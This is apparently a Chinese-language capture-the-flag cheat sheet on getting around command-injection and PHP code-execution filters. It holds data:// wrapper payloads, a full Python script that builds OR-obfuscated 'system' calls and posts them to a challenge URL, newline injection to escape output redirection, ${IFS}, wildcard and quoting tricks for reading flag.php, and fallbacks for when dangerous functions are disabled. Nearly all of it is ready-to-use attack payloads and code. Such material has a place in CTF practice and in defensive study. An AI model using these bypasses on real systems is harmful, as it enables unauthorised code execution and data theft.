data伪协议
和php://input
一样,用来执行代码,不一样的地方是,data可以直接用GET传值 格式是
明文:
data://text/plain,<?php ... ?>
base64编码:
data://text/plain;base64,...
cat的兄弟tac
tac是反向输出,可以用来逃避cat过滤
或运算绕过
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,来看一下下面这段正则匹配
[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|
,因此可以使用或运算绕过 大概思路就是将除上述匹配外的Ascii字符筛选出来,然后再进行或运算,计算出结果和想要的命令匹配即可 下面是脚本
import re
import requests
url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="ls" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
>/dev/null 2>&1
这句代码得拆开看 先来看看这句>/dev/null
。这句的意思就是将前面输出的内容重定向到一个叫/dev/null
的目录下,/dev
目录一般是设备挂载目录,而null
就是空设备的意思,因此就是让输出结果不要输出到任何设备上,包括你的屏幕,而是消失在茫茫太空中 接着是2>&1
,首先要知道2
在linux标准输出中表示的是错误报错,1
是正常输出,所以这句意思是将错误报错也重定向到1
输出的地方,而因为1
输出已经被丢到太空里,所以2
也会跟着他一起流浪
可是,要怎么绕过这中正确错误输出结果都通杀呢?很简单,要知道,linux命令是按行执行的,只要把这些内容换到下一行不就好了,下面的payload让你知道该怎么做
cat flag.php%0a
flag过滤
flag被过滤掉后,除非是特殊情况,否则首先应该考虑正则匹配*
,用类似fla*
替代flag
空格和星号过滤
虽然很老套,但还是要记住${IFS}
这么个东西 要是被过滤了$
(可以没有{}
),考虑<>或<
要是星号寄了,那就只能老老实实用fl''ag
这样的绕过了
more|less|head|sort|tail|sed|cut|awk|strings|od|curl|cat
要是这些常用的都寄了,那就试试nl
._c._a.t.
这种正则匹配的匹配对象为同时包含c,a,t的字符串,如下会被匹配
"concatenate"
"scattered"
"category"
"act"
"cart"
cat的正则匹配
/bin/?at${IFS}f???????
这句payload的用意是执行cat flag.php
不带字母的getshell
参考PHITHON大神的文章 一些不包含数字和字母的webshell 无字母数字webshell之提高篇
grep
前阶段被docker compose折磨的时候,因为不熟悉windows搜索栏的内容查找匹配语句,所以没少用grep来找代码
grep${IFS}'fla'${IFS}fla??php
没用数字的数字计算
在linux shell中,
${_}:代表上一次命令执行的结果
$(()): 做运算
其中,
$((${_}))=0
$((~$((${_}))))=-1
(ps:0取反是-1,原因看这里) 以此类推
危险函数禁用
类似system被禁用后,可以试试highlight_file()
或者show_source()
scandir()
这个函数的作用看名字应该就能猜到,它会把目录内容写到一个数组里,配合print_r
输出就行。需要注意的是,scandir必须配合一个有意义参数才能返回值。例如
$dir=’/’; scandir($dir);
打印方法
1、使用echo(),语法“echo($var)”;2、使用var_dump(),语法“var_dump($var)”;3、使用print();4、使用print_r();5、使用printf();6、使用sprintf();7、使用var_export()